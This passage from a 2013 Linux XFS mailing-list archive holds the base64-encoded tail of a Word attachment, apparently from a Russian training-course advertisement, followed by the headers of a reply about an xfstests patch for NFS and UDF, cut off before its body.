ZQByADEABABzAHYAawB1AAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAYAAAACAAAAAAAMAAEADAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD+/wAABgECAAAAAAAAAAAAAAAAAAAAAAABAAAA4IWf8vlPaBCrkQgAKyez 2TAAAABoAgAAEQAAAAEAAACQAAAAAgAAAJgAAAADAAAAoAEAAAQAAACsAQAABQAAAMABAAAHAAAA zAEAAAgAAADcAQAACQAAAOwBAAASAAAA+AEAAAoAAAAYAgAACwAAACQCAAAMAAAAMAIAAA0AAAA8 AgAADgAAAEgCAAAPAAAAUAIAABAAAABYAgAAEwAAAGACAAACAAAA4wQAAB4AAAAAAQAA1uXt8vAg 7+Xw5e/u5OPu8u7i6ugg6CDv7uL7+OXt6P8g6uLg6+j06Org9ujoIMrPziCrz9DO0cLF0rsgLSDu 5O3gIOjnIPHg7Pv1IOL78e7q7u/w7vTl8fHo7u3g6/zt+/Ug6u7s7+Dt6Okg7+4g7urg5+Dt6P4g 8/Hr8+Mg4iDu4evg8fLoIO/w7vTl8fHo7u3g6/zt7uPuIO7h8/fl7ej/IOgg7+7i+/jl7ej/IOri 4Ovo9Ojq4Pbo6CDw8+ru4u7k6PLl6+XpIOgg8e/l9ujg6+jx8u7iINDu8fHo6CDoIPHy8ODtINHN wyCWIO/w6OPr4Pjg5fIgwuDxIO0AAB4AAAAEAAAAAAAAAB4AAAAMAAAAbWFuYWdlcjEAAAAAHgAA AAQAAAAAAAAAHgAAAAgAAABOb3JtYWwAAB4AAAAIAAAAc3ZrdQAAAAAeAAAABAAAADM2AAAeAAAA GAAAAE1pY3Jvc29mdCBPZmZpY2UgV29yZAAAAEAAAAAATlNJBgAAAEAAAAAARMpYZ1PNAUAAAAAA fMLvt1nNAUAAAAAAHu4Z6vHOAQMAAAABAAAAAwAAAJEBAAADAAAA8wgAAAMAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAA/AEA AAwAAAABAAAAaAAAAA8AAABwAAAABQAAAJAAAAAGAAAAmAAAABEAAACgAAAAFwAAAKgAAAALAAAA sAAAABAAAAC4AAAAEwAAAMAAAAAWAAAAyAAAAA0AAADQAAAADAAAANsBAAACAAAA4wQAAB4AAAAY AAAAUmVQYWNrIGJ5IFNQZWNpYWxpU1QAAAAAAwAAABMAAAADAAAABQAAAAMAAAB/CgAAAwAAAAAA DgALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAB4QAAABAAAA/wAAANbl7fLwIO/l8OXv 7uTj7vLu4uroIOgg7+7i+/jl7ej/IOri4Ovo9Ojq4Pbo6CDKz84gq8/QztHCxdK7IC0g7uTt4CDo 5yDx4Oz79SDi+/Hu6u7v8O705fHx6O7t4Ov87fv1IOru7O/g7ejpIO/uIO7q4Ofg7ej+IPPx6/Pj IOIg7uHr4PHy6CDv8O705fHx6O7t4Ov87e7j7iDu4fP35e3o/yDoIO/u4vv45e3o/yDq4uDr6PTo 6uD26Ogg8PPq7uLu5Ojy5evl6SDoIPHv5fbo4Ovo8fLu4iDQ7vHx6Ogg6CDx8vDg7SDRzcMgliDv 8Ojj6+D44OXyIMLg8SDtAAwQAAACAAAAHgAAAAkAAADN4Ofi4O3o5QADAAAAAQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEA AAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAA ABAAAAARAAAAEgAAABMAAAAUAAAAFQAAAP7///8XAAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAA HgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAAJwAAACgAAAApAAAA/v///ysAAAAs AAAALQAAAC4AAAAvAAAAMAAAADEAAAD+////MwAAADQAAAA1AAAANgAAADcAAAA4AAAAOQAAAP7/ ///9////PAAAAP7////+/////v////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////UgBv AG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAAAAAAAAAAAAAAIL51HerxzgE+ AAAAgAAAAAAAAAAxAFQAYQBiAGwAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAADgACAf////8FAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAABYAAAC4JwAAAAAAAFcAbwByAGQARABvAGMAdQBtAGUAbgB0AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIBAQAAAP//////////AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQqAAAAAAAABQBTAHUAbQBtAGEAcgB5AEkA bgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAgECAAAABAAA AP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqAAAAABAAAAAAAAAFAEQA bwBjAHUAbQBlAG4AdABTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAA AAAAOAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIA AAAAEAAAAAAAAAEAQwBvAG0AcABPAGIAagAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAASAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////// /////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+ //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////AQD+/wMK AAD/////BgkCAAAAAADAAAAAAAAARiAAAADE7urz7OXt8iBNaWNyb3NvZnQgV29yZCA5Ny0yMDAz AAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1lbnQuOAD0ObJxAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------=_NextPart_000_1494_01CEF228.31C08FC0-- From stanislav.kholmanskikh@oracle.com Fri Dec 6 00:59:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ADB657F3F for ; Fri, 6 Dec 2013 00:59:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 351E3AC004 for ; Thu, 5 Dec 2013 22:59:56 -0800 (PST) X-ASG-Debug-ID: 1386313191-04cbb04166575890001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id GfqijVmJZUTjXr5N (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 22:59:51 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB66xoMM009089 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 6 Dec 2013 06:59:51 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB66xnLb010953 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 6 Dec 2013 06:59:50 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB66xnZh023050 for ; Fri, 6 Dec 2013 06:59:49 GMT Received: from [10.162.81.220] (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 05 Dec 2013 22:59:48 -0800 Message-ID: <52A175DD.5050908@oracle.com> Date: Fri, 06 Dec 2013 10:59:41 +0400 From: Stanislav Kholmanskikh User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20131030 Thunderbird/17.0.10 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: stop special casing nfs and udf References: <20131107204635.GA22954@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfstests: stop special casing nfs and udf In-Reply-To: <20131107204635.GA22954@infradead.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed 